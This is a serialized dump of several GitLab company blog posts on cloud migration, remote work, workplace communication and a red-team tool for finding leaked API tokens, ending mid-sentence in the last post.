href=\"https://twitter.com/mariogmd/status/1183450205280186368?ref_src=twsrc%5Etfw\">October 13, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- third tweet -->\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">And that’s a wrap! Thank you, London for an amazing time at \u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a>. We loved hosting our European \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> conference with you. Can’t wait to visit again and bring back some GitLab love to the land of the Brits 💜🇬🇧🧡 \u003Ca href=\"https://t.co/XLZiB2Dgm1\">pic.twitter.com/XLZiB2Dgm1\u003C/a>\u003C/p>&mdash; Priyanka Sharma (@pritianka) \u003Ca href=\"https://twitter.com/pritianka/status/1182254193324806151?ref_src=twsrc%5Etfw\">October 10, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nJoin us in San Francisco on January 14 for our first Commit event of 2020.\n\nThank you to all the folks that contributed to making 2019 such a smashing success and cheers to what’s in store for 2020!\n\nAlso, thank you to Social Marketing Manager [Wil Spillane](/company/team/#wspillane) for helping source the social media posts featured in this blog post.\n\n\n",[754,267,676],{"slug":25495,"featured":6,"template":678},"2019-year-in-review","content:en-us:blog:2019-year-in-review.yml","2019 Year In Review","en-us/blog/2019-year-in-review.yml","en-us/blog/2019-year-in-review",{"_path":25501,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25502,"content":25508,"config":25512,"_id":25514,"_type":16,"title":25515,"_source":17,"_file":25516,"_stem":25517,"_extension":20},"/en-us/blog/shifting-from-on-prem-to-cloud",{"title":25503,"description":25504,"ogTitle":25503,"ogDescription":25504,"noIndex":6,"ogImage":25505,"ogUrl":25506,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25506,"schema":25507},"Shifting from on-prem to cloud","The challenges of being on-prem and what to consider when shifting to public cloud.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679664/Blog/Hero%20Images/on-prem-to-cloud.jpg","https://about.gitlab.com/blog/shifting-from-on-prem-to-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Shifting from on-prem to cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-01-09\",\n      }",{"title":25503,"description":25504,"authors":25509,"heroImage":25505,"date":25491,"body":25510,"category":8943,"tags":25511},[18462],"\n\nCloud computing and cloud adoption are perennial topics when talking about scalability and growth, but many enterprises still operate a significant portion of their workloads in legacy environments. With so much information on the reduced infrastructure costs and the elasticity of public cloud, why do organizations still do all the work themselves?\n\nIn this discussion with Sr. Product Marketing Manager [William Chia](/company/team/#williamchia), we talk about the challenges traditional IT teams face, the barriers to cloud adoption, and strategies to consider for making the leap.\n\n\n## Why organizations use traditional IT\n\nThe reasons that an organization may want to manage their own infrastructure are myriad and geared toward unique needs and/or limitations within their organization.\n\n\n### Regulatory/Compliance\n\nIn highly-regulated industries such as banking and healthcare, or even government entities, there may be compliance concerns or risks that prevent them from utilizing public cloud. More control means more oversight and more accountability. \"If I need to keep patient data private to comply with HIPAA, for example, if I keep 100% control of my systems and infrastructure I can ensure I comply. If I outsource to cloud services then I have to take different steps to ensure I'm not leaking PII,\" says William. Even though the big cloud providers – namely GCP, AWS, and Azure – have compliance built-in, some organizations may still be hesitant to have them assume those risks.\n\n\n### Protecting sensitive data\n\nIT leaders surveyed in a [Cloud Security Alliance report](https://www.skyhighnetworks.com/cloud-security-blog/5-surprising-truths-from-the-cloud-security-alliances-latest-survey/) expressed that, while they are confident in cloud security capabilities, there are things that can go wrong beyond their control: Inside threats, compromised accounts, and misconfigured security settings up the stack that can all lead to security breaches. According to nearly 68% of the IT leaders surveyed, the ability to enforce corporate security policies is the [number one barrier to moving applications to the cloud](https://www.skyhighnetworks.com/cloud-security-blog/5-surprising-truths-from-the-cloud-security-alliances-latest-survey/). \"The top-level concern basically comes down to control and data privacy,\" says William.\n\n\n### Better costs\n\nFor companies operating at a small scale, cloud computing’s pay-per-use model will almost always be cheaper than managing your own data centers, but for larger-scale organizations that isn’t always the case. \"There's a breaking point… If you run on-prem, it actually could be cheaper than your cloud bill at huge scale, but you’re running so much software you’re basically running your own private cloud at that point,\" says William. For a long-term strategy, organizations have to weigh their CapEx vs OpEx costs, and while [CapEx involves a large upfront expense in whole systems and servers](https://www.10thmagnitude.com/opex-vs-capex-the-real-cloud-computing-cost-advantage/), and the continued cost of maintenance, the computing volume could make this a worthwhile investment.\n\nAnother reason that companies may run their own infrastructure is because that’s how they’ve always done it. While not a very scientific answer, it’s the reality for many companies, especially those that grew before the age of cloud.\n\n\"Once upon a time, if you were a large enterprise and you had to run a lot of software, you had no choice but to manage it all yourself. And so now you have all these servers, you have all of these staff, and you have all of these business processes. You have a great deal of both physical and logical infrastructure and if you want to move to the cloud you have to change all of it. That comes at a very high cost,\" says William.\n\nIn the past, moving small amounts of data was relatively easy. When we start talking about exabytes of data, rather than terabytes of data, the process of migration becomes herculean. According to Jean-Luc Valente, the VP for product management in the cloud platforms and solutions group at Cisco, egressing that kind of data to a public cloud could [cost as much as $30 million dollars](https://www.zdnet.com/article/multicloud-is-here-but-challenges-remain/).\n\n\n\n\n\n## The challenges of on-prem infrastructure\n\nWhile organizations may have specific reasons for running on-premises infrastructure, that decision comes with distinct challenges.\n\n\n### Range of expertise\n\n\"Above a certain level, you are managing all of your infrastructure and you're managing all of your uptime. That's a lot of expertise. You need to become as good at operating a cloud infrastructure as Amazon or Google is, which is why those public clouds are so radically popular. In order to get there requires a lot of resources,\" says William.\n\n\n### Managing software and hardware\n\nIn order to manage uptime and security, operations teams need to perform software maintenance like upgrades and patches in addition to managing physical assets like servers, racks, power supplies, and network switches. At a certain point, an organization is devoting a lot of resources to just keeping things running rather than innovating, so all of these resources are being invested in undifferentiated engineering.\n\n\n### Undifferentiated engineering\n\nIf it is not a core competency for your organization, then it’s undifferentiated engineering. \"If you don't need to manage that on-premises data center or servers for a specific reason, then the cloud is more attractive because that's a high cost,\" says William. \"You're spending a lot of engineering dollars on things that are not differentiating you in the marketplace.\"\n\n\n## Strategies for shifting to cloud\n\n\n### The benefits of \"lift-and-shift\"\n\nIn previous posts, we’ve talked about [legacy and monolithic applications acting as a barrier](/blog/cloud-adoption-roadmap/) for cloud adoption, but there can be some benefit to lifting and shifting those applications to the cloud. While you may not be able to take full advantage of microservices and cloud native application development, shifting those applications to the cloud does provide the benefit of reducing your operational overhead. This can provide an opportunity to learn new competencies.\n\n\"There's a separate set of competencies that you need to acquire to start running in the cloud. You don’t need to learn everything all at once. If you take a monolithic, on-premises app, simply lift-and-shift it into a VM in the cloud, that allows you to start to understand things like cloud billing, and gain some of the competencies of a cloud deployment pattern,\" says William.\n\n\n### Hybrid cloud\n\nMany organizations have opted to use both private and public cloud for a hybrid cloud infrastructure. These hybrid clouds blend the control and security of a private cloud, but also the flexibility and agility of public cloud. During periods of high usage, organizations can leverage public cloud’s pay-per-use model and save themselves from needing additional infrastructure. Organizations can use their private cloud for sensitive data and public cloud for developing and testing new applications. Having a hybrid cloud environment allows teams to manage their on-premises infrastructure and take advantage of public cloud scale.\n\n\nWhile cloud adoption is widespread, many organizations have unique reasons to stay or migrate to an on-premises infrastructure. Cost, control, and risk mitigation continue to be the main drivers of on-prem vs. cloud decisions. Public cloud’s pay-per-use model may not be more cost effective for organizations that operate at higher scale, but a hybrid cloud model can offer organizations the flexibility to use public cloud during periods of high usage without having to invest in additional infrastructure. Both on-prem and cloud require unique and extensive operational competencies, so teams will need leaders that are skilled in these areas when making the switch.\n\n\nCover image by [Matt Howard](https://unsplash.com/@thematthoward?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/journey?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,3949],{"slug":25513,"featured":6,"template":678},"shifting-from-on-prem-to-cloud","content:en-us:blog:shifting-from-on-prem-to-cloud.yml","Shifting From On Prem To Cloud","en-us/blog/shifting-from-on-prem-to-cloud.yml","en-us/blog/shifting-from-on-prem-to-cloud",{"_path":25519,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25520,"content":25526,"config":25532,"_id":25534,"_type":16,"title":25535,"_source":17,"_file":25536,"_stem":25537,"_extension":20},"/en-us/blog/working-in-vastly-different-timezone",{"title":25521,"description":25522,"ogTitle":25521,"ogDescription":25522,"noIndex":6,"ogImage":25523,"ogUrl":25524,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25524,"schema":25525},"A matter of perspective","What I learned while working remotely in a vastly different time zone.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680973/Blog/Hero%20Images/harbour_shadows.jpg","https://about.gitlab.com/blog/working-in-vastly-different-timezone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A matter of perspective\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erich Wegscheider\"}],\n        \"datePublished\": \"2020-01-06\",\n      }",{"title":25521,"description":25522,"authors":25527,"heroImage":25523,"date":25529,"body":25530,"category":6634,"tags":25531},[25528],"Erich Wegscheider","2020-01-06","\n\nImagine you’re a morning person. The type that, for better or worse, is unconsciously in sync with sunrise. Your mornings offer ample time for personal pursuits, such as a workout, a side hustle, or undisturbed personal time. When your devices are powered on, your inbox loosely resembles the same notification count that it did the night before.\n\nNow, flip it upsidedown. Literally. Every morning meeting is now an evening meeting. Or, more accurately, a middle of the night meeting. Your inbox is laughably far away from inbox zero and your working hours hardly overlap with those of your team members.\n\nThat’s basically been my experience as I transition from North American to Asia Pacific working hours - it’s nothing short of drastic. Fortunately, the things that challenge my perceived norms generally present the best opportunities for learning.\n\nHere are three things I learned while managing a 14- to 17-hour time difference for the greater part of two months.\n\n\n\n## Lesson #1: Be true to yourself\n\nIf GitLab didn’t live and breathe [asynchronous communication](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication), managing such timezone differences would have been tricky. Instead, the differences provided a tangible experience from which to grow and practice the principle.\n\nWhen comparing a typical *\"9 to 5\"* workday, here’s how many hours my home timezone (Mountain Time) overlapped with each location:\n\n*  Bali (+14 hours): **0 hours**\n*  Australia (+17 hours): **2 hours**\n\nAfter making the timezone switch, I decided to keep attending regularly scheduled meetings. To balance things out, I took time off in the middle of the day and stayed online as late as 1 am. Such a scenario might work for some people, but not me. I felt weird, innate guilt for not working during the day when it wasn’t a planned day off, but more so for going against a well-known personal trait: I’m not a night owl.\n\nThat’s when I learned my first lesson: Be true to yourself.\n\nI know when I’m most productive and when I need to unplug and rest. Going against these knowns wasn’t going to benefit GitLab or me. If anything, going against what I know about my productive work patterns had the potential for the opposite effect: burnout. Therefore, rather than accept and attend every meeting, as I generally would stateside, I started declining most everything.\n\nInstead, I reviewed and commented on meeting agendas, issues, and Slack threads where my participation was necessary. This was my first step toward understanding asynchronous work firsthand and actually doing it.\n\nAdmittedly, I had an irrational fear that team members would think that I wasn’t doing my job or slacking off. Fortunately, my fears were just that – irrational.\n\n## Lesson #2: Productivity is not linear\n\nOutside of the confined *\"9 to 5\"* workday, there’s a waning window of productivity across timezones – one region is getting up to speed while the other is winding down. While I could enjoy the fruits of completely asynchronous work, the truth is, if I wanted to push things forward more quickly, then I needed to stop working in well-defined windows. Namely, the *\"9 to 5\"* window.\n\nIn the states, I would intentionally avoid looking at my phone or opening my laptop when I first woke up. Only when I felt ready to settle-in, after my morning routine, would I engage with technology. At home, my productivity is linear, and I would tread the well-worn path of traditional business hours. As I zoom out and think about that structured approach, I can't help but think of that as *\"corporate conditioning\".*\n\nThat connotation is neither positive or negative – just calling it as I see it.\n\nAnyway, given the timezone shift and the awareness of when I’m most – and least – productive, I let go of the marathon workday notion and chunked my work. For example, shortly after I woke up, I’d go straight to Slack and email. From there, I’d categorize every item as either, **1) Do it now** or **2) Do it later**.\n\nSome mornings required about an hour’s worth of work and prioritization, while other mornings occupied three times that. After a productive morning, I intentionally stepped away to workout, connect with loved ones, and discover the local brunch scene. Later, I returned to my laptop and carried on with work.\n\nOverall, I started to really love and embrace this alternative workday. In retrospect, plus full transparency, it wasn’t uncommon that I’d fall into a productivity black hole and struggle to stay awake during marathon workdays. You know, the times where you become acutely aware of how heavy your head actually is when you snap it back to the upright position.\n\nWell, that thankfully disappeared from my late mornings and early afternoons as soon as marathon workdays ended. Also notable, coffee (or caffeine) was not involved in any way, shape, or form. I’ve actually never had a cup in my life (Weird, I know).\n\nRealizing this, I learned my second lesson: Productivity is not linear.\n\nI can’t maintain a high level of output throughout the course of a linear workday. It would be like expecting to run a 50-mile ultra-marathon at my half-marathon pace – it's just not realistic in endurance athletics. However, if I split up my day by balancing focused efforts with adequate personal time, I can produce a higher level of output.\n\nThat analogy isn't perfect, but hopefully you get my point.\n\nThough, if I really want to put this running analogy to the test, I should see how many quality half-marathons I could run in a day.\n\n## Lesson #3: Work/life balance is subjective\n\nWhile having dinner one evening in Brisbane, Australia, a friend asked in a tone that warranted introspection: *“What are you hoping to learn from this experience?”* If the question had been asked in a different tone or context, I imagine I would have spewed out some naive, vague garbage about \"seeing the world\". Instead, my first thought was about the concept of work/life balance.\n\nWhile I was thinking about my response, I reflected on how confusing company reviews can be. For example, on Glassdoor, \"work/life balance\" is often mentioned in both glowing – and slandering reviews.\n\nAs the conversation progressed, I realized that I didn’t have a personal definition of work/life balance. I started thinking: \"What is it about downtime that I value?\", \"What are my expectations of how an employer lets me manage my time?\", and \"What innately motivates me in the professional world?\"\n\nI thought about where I’d been and the people I met on the [WiFi Tribe](https://wifitribe.co/), the [culture](https://handbook.gitlab.com/handbook/values/) of GitLab, and started to piece together a principle.\n\nWhile I was analyzing my tendencies, I realized that my pursuit of perfectionism often impedes my ability to let good enough be enough. I take pride in what I produce, but at what cost? There are people who *\"live to work\"* and then there are those that *\"work to live\".* Neither approach is right and neither is wrong – it’s all subjective.\n\nThat’s when I learned my third lesson: Work/life balance is just as subjective.\n\nIt was a lightbulb moment for me. I work in talent operations for GitLab, and I started thinking about the typical interview processes – interviews are as much about the candidate selling themselves as they are about the company selling itself. At least, that’s how it should be in theory.\n\nWithout introspection, how can someone _really_ know whether they're making a \"good career move\" by joining a new company. Sure, money is a metric, and so is job-leveling – but those are extrinsic motivators. I’d like to think that burnout is blind to compensation and leveling. From my perspective, work/life balance is made up of many intangibles.\n\nIn a sense, [I happily stumbled into a great work culture at GitLab](/blog/not-all-remote-is-created-equal/)! I’d known about the [GitLab handbook](/handbook/) and the company principles prior to applying, but I hadn’t given my motivators enough thought. Now that I've defined my personal principles around work and life, I’m all the more appreciative of everything that GitLab has to offer.\n\nAll things considered, it's quite impressive that something as simple as shifting timezones could offer such new perspectives. I will remember these takeaways, without a doubt. How I’ll apply my work/life principles back on Mountain Time is still unknown, in the spirit of GitLab, one thing is for certain – I'll be iterating on them.\n\nCover image by Erich Wegscheider\n{: .note}\n",[3798],{"slug":25533,"featured":6,"template":678},"working-in-vastly-different-timezone","content:en-us:blog:working-in-vastly-different-timezone.yml","Working In Vastly Different Timezone","en-us/blog/working-in-vastly-different-timezone.yml","en-us/blog/working-in-vastly-different-timezone",{"_path":25539,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25540,"content":25546,"config":25552,"_id":25554,"_type":16,"title":25555,"_source":17,"_file":25556,"_stem":25557,"_extension":20},"/en-us/blog/mastering-the-all-remote-environment",{"title":25541,"description":25542,"ogTitle":25541,"ogDescription":25542,"noIndex":6,"ogImage":25543,"ogUrl":25544,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25544,"schema":25545},"Mastering the all-remote environment: My top 5 challenges and solutions","Unlocking potential and overcoming challenges in an all-remote environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673105/Blog/Hero%20Images/joshua-tree-desert-sunset.jpg","https://about.gitlab.com/blog/mastering-the-all-remote-environment","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Mastering the all-remote environment: My top 5 challenges and solutions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Shawn Winters\"}],\n        \"datePublished\": \"2019-12-30\",\n      }",{"title":25541,"description":25542,"authors":25547,"heroImage":25543,"date":25549,"body":25550,"category":6634,"tags":25551},[25548],"Shawn Winters","2019-12-30","\nSince joining GitLab in late 2018, I’ve experienced a whirlwind of excitement, travel, and continuous change. While GitLab provides the [flexibility](/company/culture/all-remote/benefits/) I always wanted in a career, functioning within an all-remote organization has its [challenges](/company/culture/all-remote/drawbacks/). I’m highlighting these, along with solutions I’ve discovered and engineered, in hopes of helping others who are new to remote work.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/QTPeyRW766Q\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nIn this [GitLab Unfiltered video](https://youtu.be/QTPeyRW766Q) above, I sit down with Darren Murph to talk about working in an all-remote setting, providing a glimpse at what's possible by embracing this style of work.\n{: .note.text-center}\n\n## The lack of physical human interaction\n\nTurns out, I crave human interaction. The buzz of being around others gives me energy. Although small talk and watercooler banter can be distracting at times, social interaction is (overall) a calming and rewarding experience for me.\n\nI overcame this by leveraging technology like Slack and Zoom to [constantly communicate](/company/culture/all-remote/informal-communication/) with my colleagues. I’m surprised by how well these tools simulate the effect of being in the office. In fact, video calls oftentimes add an element of intimacy not found in the office, as I’m frequently able to visit a colleague’s home, coworking space, or favorite workplace. This allows [a more authentic connection](/blog/tips-for-mastering-video-calls/) than what’s typically brought into a colocated office setting.\n\n## Questioning my productivity\n\nI struggled early on without the social validation that comes with working in an office. At GitLab, team members are given autonomy to be a [manager of one](https://handbook.gitlab.com/handbook/values/#managers-of-one), which can take time to fully embrace and appreciate.\n\nTo overcome this, I was intentional about defining what a solid day’s work looked like in my role. I asked myself what things I should aim to accomplish each day, no matter what, to be productive based on [goals and objectives](/company/okrs/) that applied to me. This produced a sense of freedom I had not experienced before, and relieved a mental burden. It also allowed me to spend additional time with family and enjoying hobbies.\n\n## Grappling with a chaotic, overloaded calendar\n\nMeetings are a necessary evil in some instances, but GitLab [views them very differently](/company/culture/all-remote/meetings/) than most organizations. It is important to stay on top of what the company is doing, while also making sure you're up-to-date on your particular business unit. I looked for ways to bridge this gap given that there are no hallway conversations in an all-remote setting.\n\nDespite GitLab’s bias towards [asynchronous communication](/blog/remote-communication/), I still found the quantity of meetings on my calendar to be overwhelming. I felt like I had no time to get my actual job done. As I acclimated to all-remote life, I realized that every meeting was recorded. This allowed me to go back and listen to important meetings during downtime.\n\nI also embraced the reality that many GitLab meetings are optional. Once I understood which meetings were vital to my success, and which were helpful for my knowledge of how the company was operating, I was able to use meetings to my advantage rather than being at the mercy of an overloaded schedule.\n\n## Can you _really_ document everything?\n\nGitLab is a huge proponent of documenting everything in our [company handbook](/handbook/about/#count-handbook-pages). In a typical office setting, there are people around to answer every question. Here, I’m encouraged to search for information first – to see if my question has already been answered and documented – which was a major challenge for me early on. My instinct was to ask someone instead of searching in the handbook, and I realized that part of this stemmed from my desire to take any excuse to socialize with colleagues.\n\nI overcame this by retraining myself and flipping an old habit on its head. If I was unable to find an answer in the handbook, I was not only empowered to seek answers from others, but also to use a [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/#merge-requests) to document the solution and help others.\n\n## Turning my video on\n\nGitLab conducts all meetings – internal and external – using a video conferencing platform. With no offices, we lean on video calls to maintain human contact. As participants in a video conference, we voluntarily enable a face-to-face interaction with a person (or persons) on the other side, which requires some level of courage and humility. Initially, this was a challenge for me. I was very uncomfortable turning my video on, routinely concerned with my appearance, my surroundings, and my background.\n\nI overcame this challenge by embracing GitLab’s reminder that [meetings are about the work, not the background](/company/culture/all-remote/meetings/#meetings-are-about-the-work-not-the-background). By being vulnerable, I learned that bringing my genuine self to a video call enabled me to build stronger relationships with colleagues and prospects. Now, I make it my goal to have my video turned on as much as possible. This has helped me overcome my fear of being self-conscious, while allowing me to engage with more people in a meaningful way.\n\nAs more companies embrace all-remote, it’s important for us to collectively discuss challenges and solutions with one another. We're interested in hearing about challenges faced by others implementing remote work, so we can ideally find and document solutions.\n\nLearn more about [requesting a Pick Your Brain interview on all-remote](/company/culture/all-remote/pick-your-brain/)!\n\n*Cover image by [Darren Murph](https://twitter.com/darrenmurph).*\n",[754,676,3798],{"slug":25553,"featured":6,"template":678},"mastering-the-all-remote-environment","content:en-us:blog:mastering-the-all-remote-environment.yml","Mastering The All Remote Environment","en-us/blog/mastering-the-all-remote-environment.yml","en-us/blog/mastering-the-all-remote-environment",{"_path":25559,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25560,"content":25566,"config":25572,"_id":25574,"_type":16,"title":25575,"_source":17,"_file":25576,"_stem":25577,"_extension":20},"/en-us/blog/six-key-practices-that-improve-communication",{"title":25561,"description":25562,"ogTitle":25561,"ogDescription":25562,"noIndex":6,"ogImage":25563,"ogUrl":25564,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25564,"schema":25565},"How to Improve Company Communication","Learn here how we've streamlined and improved company communication in six ways. And now your company can too.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680960/Blog/Hero%20Images/simon-abrams.jpg","https://about.gitlab.com/blog/six-key-practices-that-improve-communication","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to Improve Company Communication\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Brinkman\"}],\n        \"datePublished\": \"2019-12-23\",\n      }",{"title":25561,"description":25562,"authors":25567,"heroImage":25563,"date":25569,"body":25570,"category":6634,"tags":25571},[25568],"Eric Brinkman","2019-12-23","\n\nRecently, we caught up with a Fortune 50 company that wanted to understand how to enact change more quickly,\nbolster its product management practice, and execute projects more efficiently. This\nled to a conversation with our CEO and co-founder [Sid Sijbrandij](/company/team/#sytses), who\nwalked through a few key GitLab practices for improving communication in the workplace. Luckily, I was able to \"shadow\" this conversation as I was participating in our [CEO shadow program](/handbook/ceo/shadow/) at the time.\nAfter the discussion, we quickly realized it made sense to share our best practices. While these power our all-remote organization, we think they're good ideas for any company to consider.\n\n## Utilize directly responsible individuals (DRIs)\n\nIn our organization, we have the concept of the [directly responsible individual](/handbook/people-group/directly-responsible-individuals/).\nAnd, as you may have guessed, that person is **directly** responsible for the decision\nthey are tasked with. This could be something routine, such as a prioritization decision\n(in this case the typical DRI is the product manager) or something bigger, such as choosing a vendor to partner with to implement product analytics. The DRI is expected to become\ninformed about options and alternatives via their team, but is ultimately the one responsible\nfor making the call. This helps because you don’t have to wait for consensus-driven decision-making.\nMost organizations are slowed down by governance teams or by a need to ensure every single person\nimpacted signs off. While it’s important to communicate, it can slow you down if you wait for everyone\nto sign off. Consider implementing DRIs to help ensure high velocity decision-making.\n\n\n\n## Make product and engineering responsibilities distinct\n\nAt many organizations, the product manager is responsible for not only setting the priorities,\nbut also must ensure those priorities are shipped on time. This leads to\nan odd situation where product is held accountable for shipping code, something that is typically\noutside of the team's control. At GitLab, we clearly outline that product is responsible for prioritizing\nand defining what is to be done and engineering is responsible for shipping the defined functionality. Setting clear boundaries around what each functional area is responsible\nfor leads to an environment where people can get away from finger pointing and back to the job they should\nhave been doing all along.\n\n## Share via InnerSourcing\n\nAt GitLab, everything is [public by default](/handbook/hiring/principles/#transparency) and there should be a documented\nreason why an issue or line of code needs to be private. Why? The answer is simple:\nby making everything public by default, everyone in the community can contribute. Now, we\nrealize public repositories and issue trackers may not be feasible for every organization,\nbut this typically doesn’t apply _inside_ the organization. InnerSourcing is a mindset shift\nthat helps organizations share code and best practices internally.\nWhen code repositories and issue trackers become open, teams have a much easier time collaborating\non problems and solutions that may be siloed. [DevOps](/topics/devops/) is all about breaking down silos and InnerSourcing\nis a great way to not only reuse code and ideas, but also encourage collaboration.\n\n## Write everything down\n\nCan you recall a time where you went to a meeting, made a decision, and then came back next week to\nfind people forgot that happened? Unfortunately, this is too common at many organizations\nand leads to unnecessary rehashing of the same information, arguments, and talking points. By writing everything down,\nit’s clear when a decision was made or a process was changed. Writing things down is a high leverage activity –\nit allows information to be documented once and then disseminated to many people with little\neffort on the part of the author. It also helps to maintain a record of what happened. At GitLab, we write things down in issues and merge requests. And for bigger things, we have a\n[handbook](/handbook/) of over 3,000 pages where we outline how the company works,\nits various processes, and our product strategy. This single source of truth is also constantly being updated because we encourage everyone to propose changes and additions to it.\n\n## Iterate, iterate, iterate\n\n[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is one of GitLab’s core values for a number of\nreasons. When you iterate, you reduce the need for coordination amongst many teams and stakeholders. The smallest change or proposal\nyou make, the fewer people you need to ask for permission. If you are going to take six months to build something, you will need to spend a lot of time getting stakeholder and executive buy-in to ensure resources\nare being leveraged appropriately. Conversely, if you are going to take two weeks to build something, less buy-in is\nrequired and it is much easier to know if you’re on the right path. In larger organizations, coordination is the\nthing that slows you down. Iterating allows for quicker feedback.\n\n## Understand the job to be done\n\nThe [jobs to be done](https://hbr.org/2016/09/know-your-customers-jobs-to-be-done)\n(J2BD) framework is popular for shifting away from correlation-based models and towards what the customer is trying to\naccomplish. We heavily utilize our user experience (UX) group to work closely with our product management team in order\nto identify and highlight the top jobs to be done. We invest heavily in user research to confirm the jobs\nto be done. The jobs are turned into scorecards which outline areas of potential improvement. These potential improvements\nare provided to product managers to consider when prioritizing features. The jobs-to-be-done framework\nis important to identify cross-service workflows such as code deployment which crosses many DevOps stages\nwithin GitLab. When you fully understand your users, you’re able to prioritize the improvements that\nmatter, leading to a better product.\n\nWhile not an exhaustive list, the six characteristics identified above are key to GitLab’s success as an [all-remote company](/company/culture/all-remote/). And all of these practices can be taken and adapated for any organization looking to strengthen communication in the workplace or considering a move to all remote.\n\nMost everything we do is publicly available, from our code to our roadmaps to our product\nmanagement processes. If you’re interested, you can find out  more in our [product handbook](/handbook/product/),\nwhich outlines other axioms and best practices for software product development. And, as always, if what you’ve just read\nresonates with you, and you’d like to join the team, let [me](https://gitlab.com/ebrinkman) know. We’ve more than tripled\nour team in 2019, and we’ll likely be doubling again in 2020.\n\nCover image by [Simon Abrams](https://unsplash.com/@flysi3000) on [Unsplash](https://unsplash.com)\n{: .note}\n\n",[676,3798,2249],{"slug":25573,"featured":6,"template":678},"six-key-practices-that-improve-communication","content:en-us:blog:six-key-practices-that-improve-communication.yml","Six Key Practices That Improve Communication","en-us/blog/six-key-practices-that-improve-communication.yml","en-us/blog/six-key-practices-that-improve-communication",{"_path":25579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25580,"content":25586,"config":25592,"_id":25594,"_type":16,"title":25595,"_source":17,"_file":25596,"_stem":25597,"_extension":20},"/en-us/blog/introducing-token-hunter",{"title":25581,"description":25582,"ogTitle":25581,"ogDescription":25582,"noIndex":6,"ogImage":25583,"ogUrl":25584,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25584,"schema":25585},"Introducing Token-Hunter","Our red team has created a new tool to find sensitive data in the vast, wide-open.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679669/Blog/Hero%20Images/lightscape-Bsw6l6e01Rw-unsplash.jpg","https://about.gitlab.com/blog/introducing-token-hunter","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Token-Hunter\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Johnson\"}],\n        \"datePublished\": \"2019-12-20\",\n      }",{"title":25581,"description":25582,"authors":25587,"heroImage":25583,"date":25589,"body":25590,"category":674,"tags":25591},[25588],"Greg Johnson","2019-12-20","\n\nWe operate business at GitLab in a [“public by default”](https://handbook.gitlab.com/handbook/values/#public-by-default) mindset so other people can benefit from our transparent business practices. Defaulting to public sharing also means we store massive amounts of data in a public format by design. Much of what we do as a company takes the form of a GitLab issue and is open for the world to see, including those individuals with nefarious goals. Naturally, for a [Red Team](/handbook/security/threat-management/red-team/), we’re curious about what all of this public information could do to aid someone intent on attacking GitLab. We started our investigation by identifying those secrets that are unintentionally shared across the assets we make public like issues, issue discussions, merge requests, merge request discussions, and snippets. There was no tooling available that accomplished what we set out to do, so we developed it ourselves and just released it: [Token-Hunter](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter).\n\n### Background\n\nAPI tokens are a keystone in the development world. They facilitate important functionality not only in the software developers build, but also in the deployment, maintenance, integration, and security of both closed and open source projects. Many companies providing services on the internet offer API tokens in multiple flavors that allow interaction with their systems, as does GitLab. Ideally, these tokens offer configurable access control to otherwise closed systems allowing you to impersonate a user’s session and access raw data. Developers, DevOps professionals, infrastructure professionals and the like often depend on API tokens to do their job successfully.\n\nIt’s a common and understandable mistake to make a commit to a Git repository containing one of these tokens when building software in a shared environment. Moving quickly, trying to support your fellow developer, and generally working quickly to get things done efficiently can lead to mistakes made under pressure, which can happen to us all. Popular tools that search for these commits like [gitrob](https://github.com/michenriksen/gitrob), [TruffleHog](https://github.com/dxa4481/truffleHog), [gitleaks](https://github.com/zricethezav/gitleaks), and even GitLab’s own [SAST project](https://docs.gitlab.com/ee/user/application_security/sast/) can find leaked tokens given proper configuration. Our Red Team had early success leveraging these known techniques, tactics, and procedures (TTPs).\n\nThe tools referenced above are fantastic at finding secrets unintentionally left in source code. However, it's also a common mistake to submit sensitive data like API 